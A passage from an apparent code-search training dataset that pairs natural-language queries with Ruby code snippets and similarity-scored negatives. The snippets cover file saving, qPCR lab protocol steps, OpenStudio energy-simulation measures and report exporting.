File.expand_path(f).split(\"/\") - File.expand_path(\".\").split(\"/\")\n\t\t\t req_file.puts \"require \\\"#{p.join(\"/\").gsub(/\\.(rb|o|dll|so|bundle)$/, \"\")}\\\"\"\n\t\t\t end\n\t\t\t req_file.puts \"\\nclass #{as_class_name @arguments.first} < MyExperiment\\n\\t\\nend\"\n\t\t\tend\n\t\t\tFile.open(dir + \"/config.yaml\", \"w\") do |f|\n\t\t\t f << \"---\\nexperiment:\\n development:\\n compute:\\n\"\n end\n end", "def save\n create_file\n true\n end", "def save!(filename = T.unsafe(nil)); end", "def save!(filename = T.unsafe(nil)); end", "def save\n # Alternative ways can be implemented here. (text file etc.)\n # TODO: Handle Unicode and special characters.\n # (If further escaping than inspect is necessary.)\n Sketchup.write_default(\"Plugins_ae\", @identifier, @options.inspect.gsub(/\"/, \"'\"))\n # Sketchup.write_default(\"Plugins_ae\", @identifier, @options.inspect.inspect[1..-2]) # TODO!!!\nend", "def save(filename=@filename)\n backup_filename = filename + '~'\n File.delete(backup_filename) if File.exist? backup_filename\n FileUtils.mv(filename, backup_filename)\n File.open(filename, 'w') do |f|\n f.puts @header\n f.puts @body\n f.puts @gem_dependencies\n f.puts @dev_dependencies\n f.puts @footer\n end\n end", "def save_state file=nil\n App.out.write_text_files file\nend", "def save_and_close( filename = clean_name )\n result.parent.export filename\n end", "def save_to(path)\n (File.open(path, 'w') << to_s).close\n path\n end", "def save_to(path)\n (File.open(path, 'w') << to_s).close\n path\n end", "def save_game\n\t\tputs \"Type a name for your saved game\"\n\t\tgame_name = gets.chomp\n\t\tfilename = \"#{game_name}.txt\"\n\n\t\t ex_file = File.expand_path(\"./saved_games/#{filename}\")\n\t\t \n\t\tif File.exists?(ex_file)\n\t puts \"#{filename} exists\" #overwrite method?\n\t \n\t self.save_game\n\t else\n\t\t\tFile.open(ex_file, \"w\") do |f|\n\n\t\t\t\tf.puts YAML::dump(game_state)\n\n\t\t\t\tputs \"Your game was saved as #{filename}\" \n\t\t\tend\n\t\tend\n\tend", "def save_file\n if Rails.configuration.file_storage_method == \"fs\"\n FileSaver.save_to_fs annotation.uuid, path, content\n elsif Rails.configuration.file_storage_method == \"s3\"\n FileSaver.save_to_s3 annotation.uuid, path, content\n else\n raise \"Illegal file storage method #{Rails.configuration.file_storage_method}\"\n end\n end", "def save_students\n clear_terminal\n puts \"SAVE FILE\"\n puts \"-\" * \"SAVE FILE\".length\n puts\n list_of_files = list_csv_files\n if list_of_files.empty?\n filename = user_enter_filename\n else\n filename = select_filename(list_of_files)\n end\n puts\n File.open(filename, \"w\") do |file|\n file.puts @default_cohort\n @students.each do |student| \n student_data = [student[:name], student[:cohort]]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n end\n @saved = @students.count\n #file.close\n puts\n puts \"Students saved to '#{filename}'\"\n pause_program\nend", "def save_output(data)\n ::File.open(datastore['OUTFILE'], 'wb') do |f|\n f.write(data)\n print_status(\"Saved results in #{datastore['OUTFILE']}\")\n end\n end", "def save_output(data)\n ::File.open(datastore['OUTFILE'], 'wb') do |f|\n f.write(data)\n print_status(\"Saved results in #{datastore['OUTFILE']}\")\n end\n end", "def save\n File.open(@path, \"w\") do |f|\n f.write(JSON.pretty_generate(\n \"version\" => VERSION,\n \"reqs\" => reqs,\n ))\n end\n end", "def save_file(path, content)\n File.open(path, 'w') do |f|\n f.write content\n end\n end", "def save\r\n # Draw a frame.\r\n frame = Draw.new\r\n frame.stroke(\"black\")\r\n frame.stroke_width(2)\r\n frame.fill_opacity(0)\r\n frame.rectangle(0, 0, @image.columns-1, @image.rows-1)\r\n frame.draw(@image)\r\n \r\n @image.write(name + '.png')\r\n end", "def save_game\n Dir.mkdir 'save_files' unless Dir.exists?(\"save_files\")\n\n filename = \"save#{Dir[\"save_files/**/*\"].length}.json\"\n\n save_data = {\n code_word: @code_word,\n good_guesses: @good_guesses,\n bad_guesses: @bad_guesses,\n tries: @tries\n }\n\n File.write(\"save_files/#{filename}\", JSON.dump(save_data))\n end", "def save(filename)\n File.write(filename, self.to_s)\n end", "def save_as(pathname)\n pathname.open('w') do |file|\n file.puts(generate)\n end\n File.chmod(0755, pathname.to_s)\n end", "def save_as(file)\n File.open(file, \"wb\") { |f| f.write to_s }\n end", "def save_as(file)\n File.open(file, \"wb\") { |f| f.write to_s }\n end", "def save_to_file\n\t\tFile.open(@output, \"w+\") do |file|\n\t\t\tfile.puts \"[b][align=center]\"\n\t\t\trandomize if @random\n\t\t\t@output_data.each_line { |line| line.delete('\\n') }\n\t\t\tfile.puts @output_data\n\t\t\tfile.puts \"[/align][/b][align=center][sup]Made with [user]kryszanek[/user]'s [url=http://github.com/kryszan/cloudy]cloudy[/url]\\\\m/ [/sup][/align]\"\n\t\tend\n\tend", "def save_options\n if save_options?\n parts = Shellwords.join(@cli_options)\n create_file '.spritefulrc', parts + \"\\n\", force: true\n end\n end", "def save\n\t\t# Ask the user for a file.\n\t\t# Defaults to current file.\n\t\tans = $screen.ask(\"save to: \",[@filename],true,true)\n\t\tif ans == nil\n\t\t\t$screen.write_message(\"Cancelled\")\n\t\t\treturn\n\t\tend\n\t\tif ans == \"\" then ans = @filename end\n\t\tif ans == \"\"\n\t\t\t$screen.write_message(\"Cancelled\")\n\t\t\treturn\n\t\tend\n\t\t# If name is different from current file name,\n\t\t# ask for verification.\n\t\tif ans != @filename\n\t\t\tyn = $screen.ask_yesno(\"save to different file: \"+ans+\" ? [y/n]\")\n\t\t\tif yn == \"yes\"\n\t\t\t\t@filename = ans\n\t\t\t\tset_filetype(@filename)\n\t\t\telse\n\t\t\t\t$screen.write_message(\"aborted\")\n\t\t\t\treturn\n\t\t\tend\n\t\tend\n\t\t# Dump the text to the file.\n\t\tFile.open(@filename,\"w\"){|file|\n\t\t\ttext = @text.join(@eol)\n\t\t\tfile.write(text)\n\t\t}\n\t\t# Let the undo/redo history know that we have saved,\n\t\t# for revert-to-saved purposes.\n\t\t@buffer_history.save\n\t\t# Save the command/search histories.\n\t\tif $hist_file != nil\n\t\t\t$buffers.save_hists\n\t\tend\n\t\t$screen.write_message(\"saved to: \"+@filename)\n\tend" ]
[ "0.6622182", "0.6557741", "0.6496792", "0.6463734", "0.6424857", "0.6406966", "0.6372905", "0.63271034", "0.63140875", "0.62960327", "0.62960327", "0.62960327", "0.62904435", "0.6282151", "0.625785", "0.625785", "0.625785", "0.625785", "0.625785", "0.6221952", "0.621788", "0.621788", "0.6215056", "0.61776304", "0.61634415", "0.61589795", "0.6157599", "0.6155679", "0.61510044", "0.6144234", "0.6139613", "0.6132962", "0.6119602", "0.61114305", "0.61078715", "0.60923284", "0.60923284", "0.60917187", "0.6087819", "0.6084438", "0.6050766", "0.6044644", "0.60409695", "0.60364777", "0.6025769", "0.600381", "0.6001234", "0.5985781", "0.5984261", "0.5979806", "0.59615666", "0.59599036", "0.59548855", "0.5949031", "0.5936436", "0.5929354", "0.5922509", "0.592229", "0.591746", "0.591427", "0.5907132", "0.58978623", "0.5891203", "0.5885958", "0.58842784", "0.5873205", "0.5872728", "0.586705", "0.5858582", "0.58551884", "0.584827", "0.5847495", "0.58457243", "0.58276874", "0.5818227", "0.581645", "0.581645", "0.58139575", "0.579983", "0.57992846", "0.5783644", "0.5771909", "0.5771909", "0.5769616", "0.5763526", "0.57580435", "0.5757747", "0.5757747", "0.5755131", "0.5739952", "0.5736078", "0.5721417", "0.57208407", "0.57126397", "0.57085836", "0.57085836", "0.5705122", "0.57038873", "0.57018334" ]
0.7985602
1
Instructions for exporting measurements from a qPCR run
def export_measurements 'Click <b>Export</b><br>' \ 'Select <b>Export All Data Sheets</b><br>' \ 'Export all sheets as CSV<br>' \ "Save files to the #{params[:export_filepath]} directory" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def run_qpcr(outname, ops, program, test_str, stamp_columns)\n coll = ops.first.output(outname).collection\n\n display_plate = display_plate(outname, ops, stamp_columns)\n stub = upload_stub(program, test_str)\n\n show do\n title \"Place #{test_str} stripwells in qPCR machine\"\n check \"Open #{SOFTWARE} on qPCR computer and make sure the qPCR is not running\"\n note \"Open lid\"\n note \"Place the <b>#{coll}-#{test_str}</b> stripwells in the block in the following order\"\n table display_plate\n note \"Close lid\"\n end\n\n show do\n title \"Program Setup: #{stub}\"\n check \"Open #{SOFTWARE} if not already open\"\n check \"Choose <b>File->Open->Protocol</b>\"\n if stub == \"qPCR1_REAL\"\n check \"Navigate to <b>#{PROG_DIR}</b> and select <b>NGS_qPCR1_2.prcl</b>\"\n else \n check \"Navigate to <b>#{PROG_DIR}</b> and select <b>#{program.name}</b>\"\n end\n note \"Your program should have the following steps. If not, notify a lab manager.\"\n table program.table\n check \"Set the <b>Sample Volume</b> to <b>#{program.volume}</b>\"\n check \"Press <b>OK</b> (in the #{SOFTWARE})\"\n end\n\n show do\n title \"Plate Setup: #{stub}\"\n check \"Press <b>Next</b>. You are now on the <b>Plate</b> tab. Press <b>Select Existing</b>.\"\n check \"Navigate to <b>#{PROG_DIR}</b>. Choose <b>#{program.plate}</b> and press <b>Open</b>.\"\n check \"Press <b>Edit Selected</b>. Make sure the occupied wells match the table below:\"\n table display_plate\n check \"Make sure <b>SYBR</b> is checked for all wells in the table\"\n check \"Press <b>OK</b> (n the #{SOFTWARE})\"\n end\n\n data = show do\n title \"Run: #{stub}\"\n check \"Press <b>Next</b>. You are now on the <b>Start Run</b> tab.\"\n check \"Press <b>Start Run</b>\"\n note \"Copy the auto-generated filename for the run and paste it below:\"\n get \"text\", var: :name, label: \"file name\", default: \"filename#{PCRD_SUFFIX}\"\n if(test_str == TEST)\n check \"Proceed immediately to the next step while you are waiting for the qPCR <b>#{test_str}</b> run to finish\"\n end\n end\n\n ops.first.plan.associate \"#{upload_stub(program, test_str)}_name\", data[:name]\n\n if(test_str == REAL) # display stop cycle\n stop_cycle = ops.first.output(outname).collection.get(\"stop_cycle\")\n\n if stop_cycle.present?\n msg = \"The qPCR samples each require a different number of cycles.\"\n msg += \" To acheive this without disrupting the run, you will press\"\n msg += \" on the <b>Pause</b> software button at the <b>end</b> of the\"\n msg += \" elongation step at each of the cycles:\"\n msg += \" <b>#{stop_cycle.flatten.uniq.select!{|i| i>0}.sort.to_sentence}</b>\"\n msg += \" and remove the relevant sample(s), as indicated in the following table:\"\n\n show do\n title \"Stop at Cycle\"\n note msg\n table display_stop_cycles(outname, ops, stamp_columns)\n end\n else # this should not happen!\n raise \"No stop cycle info found.\"\n end\n end\n\n end", "def pwr_outfile\n TextDataTools::Column::DataFile.new(@directory + '/' + @run_name + '.pwr', true, /\\S+/, /(?:\\#\\s+)?\\b\\d+:.*?(?=\\d:|\\Z)/)\n end", "def upload_data(outname, ops, program, test_str)\n plan = ops.first.plan\n coll = Item.find(ops.first.output(outname).collection)\n stub = upload_stub(program, test_str)\n\n show do\n title \"Save data: #{stub}\"\n note \"When qPCR reaches #{program.final_step}, stop run\"\n note \"Export the current run in csv format to <b>#{EXPORT_DIR}</b>, as follows:\"\n check \"Delete any existing files in <b>#{EXPORT_DIR}</b>\"\n check \"In the #{SOFTWARE}, press <b>Export->Export all data sheets->csv</b>, and save to <b>#{EXPORT_DIR}</b>\"\n note \"You will now be asked to upload specific files\"\n end\n\n # upload .csv of fluorescence per cycle (used for stop-cycle detection)\n csv_name = plan.get(\"#{stub}_name\").gsub(PCRD_SUFFIX,CSV_SUFFIX)\n csvs = uploadData(\"#{EXPORT_DIR}/#{csv_name}\", 1, 3)\n csv_upload = nil\n if csvs.present?\n plan.associate \"#{stub}_csv\", \"#{stub}\", csvs[0] # upload\n coll.associate \"#{stub}_csv\", csvs[0] # regular association\n csv_upload = csvs[0]\n end\n\n # upload .pcrd\n ups = uploadData(\"#{BASE_DIR}/#{plan.get(\"#{stub}_name\")}\", 1, 3)\n if(!ups.nil?)\n plan.associate \"#{stub}_data\", \"#{stub}\", ups[0] # upload\n coll.associate \"#{stub}_data\", ups[0] # regular association\n end\n\n return csv_upload\n end", "def generate_qrda_text(measure)\n measure_id = measure['hqmf_id']\n start_date = DateTime.new(reporting_period.to_i, 1, 1).utc\n end_date = start_date.years_since(1) - 1\n bundle = self.bundle\n if qrda_type == '3'\n c3c = Cypress::Cat3Calculator.new([measure_id], bundle)\n c3c.generate_cat3(start_date, end_date)\n elsif qrda_type == '1'\n patient_records = HealthDataStandards::CQM::PatientCache.where('value.measure_id' => measure_id, 'value.test_id' => nil).to_a.map(&:record)\n formatter = Cypress::QRDAExporter.new([measure], start_date, end_date)\n patient = patient_records.sample\n Cypress::DemographicsRandomizer.randomize(patient)\n formatter.export(patient)\n else\n raise 'Unknown QRDA type'\n end\n end", "def export_rs(cm, cl, exp_file)\n Utils.print_str_to_fit_pane('Export assignment of all Regions'.red)\n\n cmd = HT.gen_hbase_manager_export_command(cm, cl, exp_file)\n Utils.print_str_to_fit_pane(\" └── #{cmd}\")\n\n Utils.awaiter(msg: 'Exporting ', time: true) do\n HT.run_hbase_manager_export(cmd)\n puts \"\\r\" + FMT.cur_dt + ' Exported '.red\n end\n end", "def export\n\n end", "def export\n\n end", "def export(filename=@location + \"-suntimes-#{@year}.txt\")\n File.write filename, @to_dx.to_s\n end", "def outputs \n result = OpenStudio::Measure::OSOutputVector.new\n result << OpenStudio::Measure::OSOutput.makeDoubleOutput('panel_rated_output') # w/m^2\n result << OpenStudio::Measure::OSOutput.makeDoubleOutput('panel_rated_output_ip') # w/ft^2\n result << OpenStudio::Measure::OSOutput.makeDoubleOutput('system_rated_output') # w\n result << OpenStudio::Measure::OSOutput.makeDoubleOutput('pv_area_total_ip') # w\\ft^2\n result << OpenStudio::Measure::OSOutput.makeStringOutput('facade') # w\\ft^2\n return result\n end", "def run(runner, user_arguments)\n super(runner, user_arguments)\n\n # use the built-in error checking \n if !runner.validateUserArguments(arguments(), user_arguments)\n return false\n end\n\n # Assign the user inputs to variables\n reporting_frequency = runner.getStringArgumentValue(\"reporting_frequency\",user_arguments)\n inc_output_variables = runner.getBoolArgumentValue(\"inc_output_variables\",user_arguments)\n\n # Define run directory location\n run_dir_typical = File.absolute_path(File.join(Dir.pwd, 'run'))\n run_dir_comstock = File.absolute_path(File.join(Dir.pwd, '..'))\n if File.exist?(run_dir_typical)\n run_dir = run_dir_typical\n runner.registerInfo(\"run_dir = #{run_dir}\")\n elsif File.exist?(run_dir_comstock)\n run_dir = run_dir_comstock\n runner.registerInfo(\"run_dir = #{run_dir}\")\n else\n runner.registerError(\"Could not find directory with EnergyPlus output, cannont extract timeseries results\")\n return false\n end\n\n # Write the file that defines the unit conversions\n convert_txt_path = File.join(run_dir, 'convert.txt')\n File.open(convert_txt_path, 'w') do |f|\n # electricity\n f.puts('!Electricity')\n f.puts('conv,J,kWh,2.777778E-07,0')\n f.puts('wild,elec,J,kWh')\n # natural gas\n f.puts('!Natural Gas')\n f.puts('conv,J,kBtu,9.484517E-07,0')\n f.puts('wild,gas,J,kBtu')\n # water\n f.puts('!Water')\n f.puts('conv,m3,gal,2.641720E+02,0')\n end\n\n # Write the RVI file, which defines the CSV columns requested\n rvi_path = File.join(run_dir, 'var_request.rvi')\n enduse_timeseries_name = 'enduse_timeseries.csv'\n File.open(rvi_path,'w') do |f|\n f.puts('ip.eso') # convertESOMTR always uses this name\n f.puts(enduse_timeseries_name)\n\n # End Use/Fuel Type\n end_uses.each do |end_use|\n fuel_types.each do |fuel_type|\n variable_name = if end_use == 'Facility'\n \"#{fuel_type}:#{end_use}\"\n else\n \"#{end_use}:#{fuel_type}\"\n end\n f.puts(variable_name)\n end\n end\n\n # End Use Subcategories\n end_use_subcats.each do |subcat|\n f.puts(subcat)\n end\n\n # Optionally request timeseries\n if inc_output_variables\n output_vars.each do |output_var|\n f.puts(output_var)\n end\n end\n f.puts('0') # end-of-file marker\n end\n\n # Copy the necessary executables to the run directory\n start_time = Time.new\n resources_dir = File.absolute_path(File.join(__dir__, 'resources'))\n runner.registerInfo(\"resources_dir = #{resources_dir}\")\n\n # Copy convertESOMTR\n convert_eso_name = if os == :windows\n 'convertESOMTR.exe'\n elsif os == :linux\n 'convertESOMTR'\n elsif os == :macosx\n 'convertESOMTR.osx' # Made up extension to differentiate from linux\n end\n orig_convert_eso_path = File.join(resources_dir, convert_eso_name)\n convert_eso_path = File.join(run_dir, convert_eso_name)\n FileUtils.cp(orig_convert_eso_path, convert_eso_path)\n\n # Copy ReadVarsESO\n readvars_eso_name = if os == :windows\n 'ReadVarsESO.exe'\n elsif os == :linux\n 'ReadVarsESO'\n elsif os == :macosx\n 'ReadVarsESO.osx' # Made up extension to differentiate from linux\n end\n orig_readvars_eso_path = File.join(resources_dir, readvars_eso_name)\n readvars_eso_path = File.join(run_dir, readvars_eso_name)\n FileUtils.cp(orig_readvars_eso_path, readvars_eso_path) \n\n # Copy libraries (OSX only)\n if os == :macosx\n ['libgcc_s.1.dylib', 'libgfortran.5.dylib', 'libquadmath.0.dylib'].each do |dylib|\n FileUtils.cp(File.join(resources_dir, dylib), File.join(run_dir, dylib)) \n end\n end\n end_time = Time.new\n runner.registerInfo(\"Copying executables took #{end_time - start_time} seconds\")\n\n # Call convertESOMTR\n start_time = Time.new\n command = \"#{convert_eso_path}\"\n stdout_str, stderr_str, status = Open3.capture3(command, chdir: run_dir)\n if status.success?\n runner.registerInfo(\"Successfully ran convertESOMTR: #{command}\")\n else\n runner.registerError(\"Error running convertESOMTR: #{command}\")\n runner.registerError(\"stdout: #{stdout_str}\")\n runner.registerError(\"stderr: #{stderr_str}\")\n return false\n end\n end_time = Time.new\n runner.registerInfo(\"Running convertESOMTR took #{end_time - start_time} seconds\")\n\n # Call ReadVarsESO\n start_time = Time.new\n command = \"#{readvars_eso_path} #{File.basename(rvi_path)} #{reporting_frequency} Unlimited FixHeader\"\n stdout_str, stderr_str, status = Open3.capture3(command, chdir: run_dir)\n if status.success?\n runner.registerInfo(\"Successfully ran convertESOMTR: #{command}\")\n else\n runner.registerError(\"Error running convertESOMTR: #{command}\")\n runner.registerError(\"stdout: #{stdout_str}\")\n runner.registerError(\"stderr: #{stderr_str}\")\n return false\n end\n end_time = Time.new\n runner.registerInfo(\"Running ReadVarsESO took #{end_time - start_time} seconds\")\n\n return true\n end", "def export\n @pages.each_with_index do |page, i|\n puts \"Export:\"\n=begin\n #page.load_original\n ScanEnhancer::profile(\"fill_invert\") {\n page.content.fill_invert\n }\n ScanEnhancer::profile(\"Deskew\") {\n page.deskew!\n }\n ScanEnhancer::profile(\"threshold\") {\n page.threshold!\n }\n=end\n ScanEnhancer::profile(\"export\") {\n page.export(\"page-%04d.tif\" % [@page_number_start + @page_number_step*i])\n #page.export_data(\"page-%04d.tif\" % [@page_number_start + @page_number_step*i])\n }\n page.free_data!\n puts \"\"\n end\n end", "def startDSExport \n begin\n $MatLib = SU2DS::MaterialLibrary.new() # reads Sketchup material library and creates hashes mapping each material name to its path and radiance description (if available)\n rs = SU2DS::RadianceScene.new()\n rs.export(SU2DS::RadianceScene::EMODE_HEADER) ## modified for su2ds\n rescue => e \n msg = \"%s\\n\\n%s\" % [$!.message,e.backtrace.join(\"\\n\")]\n UI.messagebox msg \n end \nend", "def main\n pr = intro\n operations.group_by {|op| get_parameter(op: op, fv_str: MEASUREMENT_TYPE).to_sym}.each do |measurement_type, ops|\n new_mtype = true\n pr.measurement_type = measurement_type\n ops.group_by {|op| op.input(INPUT).sample.sample_type}.each do |st, ops|\n ops.group_by {|op| op.input(MEDIA).item}.each do |media_item, ops|\n ops.group_by {|op| get_uninitialized_output_object_type(op)}.each do |out_ot, ops|\n ops.make\n ops.group_by {|op| op.output(OUTPUT).collection}.each do |out_collection, ops|\n pr.setup_experimental_measurement(experimental_item: out_collection, output_fv: nil)\n new_mtype = setup_plate_reader_software_env(pr: pr, new_mtype: new_mtype)\n # Gather materials and items\n take_items = [media_item].concat([pr.experimental_item].flatten)\n gather_materials(empty_containers: [pr.measurement_item], transfer_required: pr.transfer_required, new_materials: ['P1000 Multichannel'], take_items: take_items)\n # Prep plate\n display_hash = get_transfer_display_hash(ops: ops, input_str: INPUT, output_str: OUTPUT, dilution_str: DILUTION)\n prefill_plate_w_media(collection: pr.measurement_item, media_sample: media_item.sample, media_vol_ul: nil, display_hash: display_hash) # media_vol_ul must be > 0 to run show block\n take ops.map {|op| op.input(INPUT).item}, interactive: true\n tech_transfer_cultures(collection: pr.measurement_item, display_hash: display_hash)\n tech_add_blanks(pr: pr, blanking_sample: media_item.sample, culture_vol_ul: 0.0, media_vol_ul: 300.0) # Cannot handle a plate without blanks, esp in processing of upload\n \n take_measurement_and_upload_data(pr: pr)\n \n dilution_factor_arr = ops.map {|op| get_dilution_factor(op: op, fv_str: DILUTION)}\n \n process_and_associate_data(pr: pr, ops: ops, blanking_sample: media_item.sample, dilution_factor: dilution_factor_arr)\n end\n keep_p_arr = ops.select {|op| op.input(KEEP_OUT_PLT).val.to_s.downcase == 'yes'}\n (keep_p_arr.empty?) ? pr.measurement_item.mark_as_deleted : pr.measurement_item.location = 'Bench'\n end\n end\n end\n end\n cleaning_up(pr: pr)\n end", "def export_io(dataset:)\n Dir.chdir(dir) { IO.popen(\"dat export -d #{dataset} --full\") }\n end", "def print_out_line\n #p ['id', id, 'ctd', ctd]\n #p rcp.results.zip(rcp.results.map{|r| send(r)})\n name = @run_name\n name += \" (res: #@restart_id)\" if @restart_id\n name += \" real_id: #@real_id\" if @real_id\n beginning = sprintf(\"%2d:%d %-60s %1s:%2.1f(%s) %3s%1s\", @id, @job_no, name, @status.to_s[0,1], @run_time.to_f / 60.0, @nprocs.to_s, percent_complete, \"%\")\n if ctd and fusionQ\n beginning += sprintf(\"Q:%f, Pfusion:%f MW, Ti0:%f keV, Te0:%f keV, n0:%f x10^20\", fusionQ, pfus, ti0, te0, ne0)\n end\n beginning += \" ---#{@comment}\" if @comment\n beginning\n end", "def exported_report\n #The folder where the filename points to, is actually in the ~/rails/Forester because of capistrano as\n # the Apache point to ~/rails/Forester/current symlinkfolder and capistrano updates the them. \n @filename = \"quarterly_report_#{params[:year]}_#{params[:quarter]}.csv\"\n @file_path = \"#{Rails.root}/../../shared/system/exports/\"\n if params[:quarter] == \"1\"\n @tickets = Ticket.find(:all, :conditions => \"delivery_date>'#{(params[:year].to_i-1)}-12-31' AND delivery_date<'#{params[:year]}-04-01'\")\n else\n if params[:quarter] == \"2\"\n @tickets = Ticket.find(:all, :conditions => \"delivery_date>'#{params[:year]}-03-31' AND delivery_date<'#{params[:year]}-07-01'\")\n else\n if params[:quarter] == \"3\"\n @tickets = Ticket.find(:all, :conditions => \"delivery_date>'#{params[:year]}-06-30' AND delivery_date<'#{params[:year]}-10-01'\")\n else\n if params[:quarter] == \"4\" then\n @tickets = Ticket.find(:all, :conditions => \"delivery_date>'#{params[:year]}-09-30' AND delivery_date<'#{(params[:year].to_i+1)}-01-01'\")\n end\n end\n end\n end\n \n #Writing to file starts with empty line.\n File.open(\"#{@file_path}#{@filename}\", 'w') do |writer|\n writer.puts(\"\\n\")\n end\n \n #From the tickets delivered in the given quarter, the job ids are gathered here\n @job_ids = @tickets.collect {|i| i.job_id }\n @jobs = Job.find(@job_ids)\n \n #To have less DB calls, all specie records are put into an instance variable\n @species = Specie.all\n \n #Goes through all the jobs, for each sums up all the mbf and tonnages and writes them into the file\n # per specie.\n @jobs.each do |k|\n @my_tickets = []\n @tickets.each do |l|\n if l.job_id == k.id\n @my_tickets.push(l)\n end\n end\n \n @amounts = []\n \n @species.length.times do\n @amounts.push([0, 0])\n end\n \n @total_pulp = 0\n \n @my_tickets.each do |i|\n i.load_details.each do |j|\n if i.wood_type == 3 || j.species_id == 0 #wood type 3 & species_id 0 == pulp\n @total_pulp = @total_pulp + j.tonnage\n next #If load is pulp, it has only one load detail so program jups to next loop\n end\n #Amounts of mbf/tonnage are summed up here per ticket according to their specie.\n @amounts[j.species_id-1][0] = @amounts[j.species_id-1][0] + j.mbfss #This and triple-n tonnage in next are helper methods. See their documentation.\n @amounts[j.species_id-1][1] = @amounts[j.species_id-1][1] + j.tonnnage\n end\n end\n \n #Finally, the values calculated above are written into the file.\n File.open(\"#{@file_path}#{@filename}\", 'a') do |writer|\n writer.puts \"Job, #{k.name}\"\n writer.puts \"Category, MBF, Tonnage\"\n @species.each do |i|\n writer.puts \"#{i.code}, #{round_to(@amounts[i.id-1][0].to_f, 2)}, #{round_to(@amounts[i.id-1][1].to_f, 2)}\"\n end\n writer.puts \"Pulp, ,#{round_to(@total_pulp.to_f, 2)}\"\n writer.puts(\"\\n\")\n end\n end\n \n #The file created is opened in 'r' (== read) mode and send to user\n @file = File.open(\"#{@file_path}#{@filename}\", 'r')\n \n send_data(@file.read, :type => \"csv\", :filename => @filename)\n end", "def extract_data(output_file, options = {})\n log.info \"Exporting #{@cube} data via report script...\"\n\n rep_script = generate_script(options)\n save_query_to_file(rep_script, options[:query_file], '.rep')\n\n # Submit the report\n iter = nil\n instrument 'report.extract', script: rep_script, output_file: output_file do\n iter = cube.report(rep_script, false, false, true, false)\n end\n\n # Write the returned data to the file\n log.fine \"Writing data to #{output_file}\"\n file = File.new(output_file, \"w\")\n count = 0\n begin\n # TODO: Handle header, non-tab delimiters\n while !try{ iter.is_end_of_data } do\n chunk = try{ iter.next_string }\n file.puts chunk\n count += chunk.lines.count\n end\n ensure\n file.close\n end\n log.fine \"Output #{count} records\"\n end", "def flow_measurements(input, output)\n \n operations.output_collections[output].each do |outputPlate|\n log_info outputPlate\n # Creates a table that directs tech to reformat collection into a 96 Well format\n \n # Displays the transferring of cultures from 24W to 96W format\n transfer_to_96(input, output, outputPlate)\n \n # Instructs on how to apply settings in workspace for fluorescence measurements\n measuring_fluorescence(outputPlate)\n \n # From Upload_FC_Data Module - Gathers uploads and associates files to job and 96 file matrix\n upload_results(input, output, outputPlate)\n end\n end", "def stamp_cvs \n @DAS_file.puts \"#{get_t},#{get_psi},#{get_amps}\"\n end", "def outputs\n buildstock_outputs = [\n \"total_site_energy_mbtu\",\n \"total_site_electricity_kwh\",\n \"total_site_natural_gas_therm\",\n \"total_site_other_fuel_mbtu\",\n \"net_site_energy_mbtu\", # Incorporates PV\n \"net_site_electricity_kwh\", # Incorporates PV\n \"electricity_heating_kwh\",\n \"electricity_cooling_kwh\",\n \"electricity_interior_lighting_kwh\",\n \"electricity_exterior_lighting_kwh\",\n \"electricity_interior_equipment_kwh\",\n \"electricity_fans_kwh\",\n \"electricity_pumps_kwh\",\n \"electricity_water_systems_kwh\",\n \"electricity_pv_kwh\",\n \"natural_gas_heating_therm\",\n \"natural_gas_interior_equipment_therm\",\n \"natural_gas_water_systems_therm\",\n \"other_fuel_heating_mbtu\",\n \"other_fuel_interior_equipment_mbtu\",\n \"other_fuel_water_systems_mbtu\",\n \"hours_heating_setpoint_not_met\",\n \"hours_cooling_setpoint_not_met\",\n \"hvac_cooling_capacity_w\",\n \"hvac_heating_capacity_w\",\n \"upgrade_name\",\n \"upgrade_cost_usd\",\n \"weight\"\n ]\n result = OpenStudio::Measure::OSOutputVector.new\n buildstock_outputs.each do |output|\n result << OpenStudio::Measure::OSOutput.makeDoubleOutput(output)\n end\n return result\n end", "def generate_data!\n start_dir = Dir.pwd\n \n Dir.chdir tool_path\n system \"./generate -pc #{product_factor} -fn #{filename} -fc\"\n ensure\n Dir.chdir start_dir\n end", "def spectrum_queries\n msms_pipeline_analysis.msms_run_summary.spectrum_queries\n end", "def benchmark_result(command, input, value)\n File.open(\"#{command}.csv\", 'a') do |f|\n f.write \"#{input},#{value}\\n\"\n end\nend", "def print_out_line\n\t\t\t#p ['id', id, 'ctd', ctd]\n\t\t\t#p rcp.results.zip(rcp.results.map{|r| send(r)})\n\t\t\tname = @run_name\n\t\t\tname += \" (res: #@restart_id)\" if @restart_id\n\t\t\tname += \" real_id: #@real_id\" if @real_id\n\t\t\tbeginning = sprintf(\"%2d:%d %-60s %1s:%2.1f(%s)\", @id, @job_no, name, @status.to_s[0,1], @run_time.to_f / 60.0, @nprocs.to_s)\n\t\t\tif @status == :Incomplete and @completed_timesteps\n\t\t\t\tbeginning += sprintf(\" %d steps \", @completed_timesteps)\n\t\t\telsif @percent_complete\n \t\t\t\tbeginning+=sprintf(\" %3s%1s \", percent_complete, \"%\")\n\t\t\tend\n\t\t\tif ctd\n\t\t\t\t#beginning += sprintf(\"Q:%f, Pfusion:%f MW, Ti0:%f keV, Te0:%f keV, n0:%f x10^20\", fusionQ, pfus, ti0, te0, ne0)\n\t\t\tend\n\t\t\tbeginning += \" ---#{@comment}\" if @comment\n\t\t\tbeginning\n\t\tend", "def _setup_pcrs_and_seq_file_for_batch_tests\n @proj = Proj.find($proj_id) \n \n @proj.pcrs.destroy_all\n\n (0..4).each do |i|\n Pcr.create!(:fwd_primer => @primer1, :rev_primer => @primer2, :extract => @extract)\n end\n\n @proj.reload\n\n foo = File.new((File.dirname(__FILE__) + '/../fixtures/test_files/seqs.fasta'), \"w+\")\n foo.puts @proj.pcrs.collect{|p| \">seq_#{p.id}\\nACGTCGT\"}.join(\"\\n\\n\")\n foo.close\n\n @fasta_file = File.open((File.dirname(__FILE__) + '/../fixtures/test_files/seqs.fasta'), \"r\") \n end", "def write_report\n\n end", "def generate_report()\n system(\"java -cp emma.jar emma report -r html -in coverage.em,coverage.ec\")\nend", "def export_inside!(inst)\r\n ret = \"\"\r\n ph = \"\"\r\n # Run every command from the command queue\r\n each_command! do |command, complete|\r\n begin\r\n res = @spec.send(command, inst, complete)\r\n ret << ph << res if res\r\n ph = \",\" if ph == \"\"\r\n rescue ExportError => e\r\n raise e\r\n rescue => e\r\n raise ExportError.new(@path, @name, e)\r\n end\r\n end\r\n return ret\r\n end", "def run(runner, 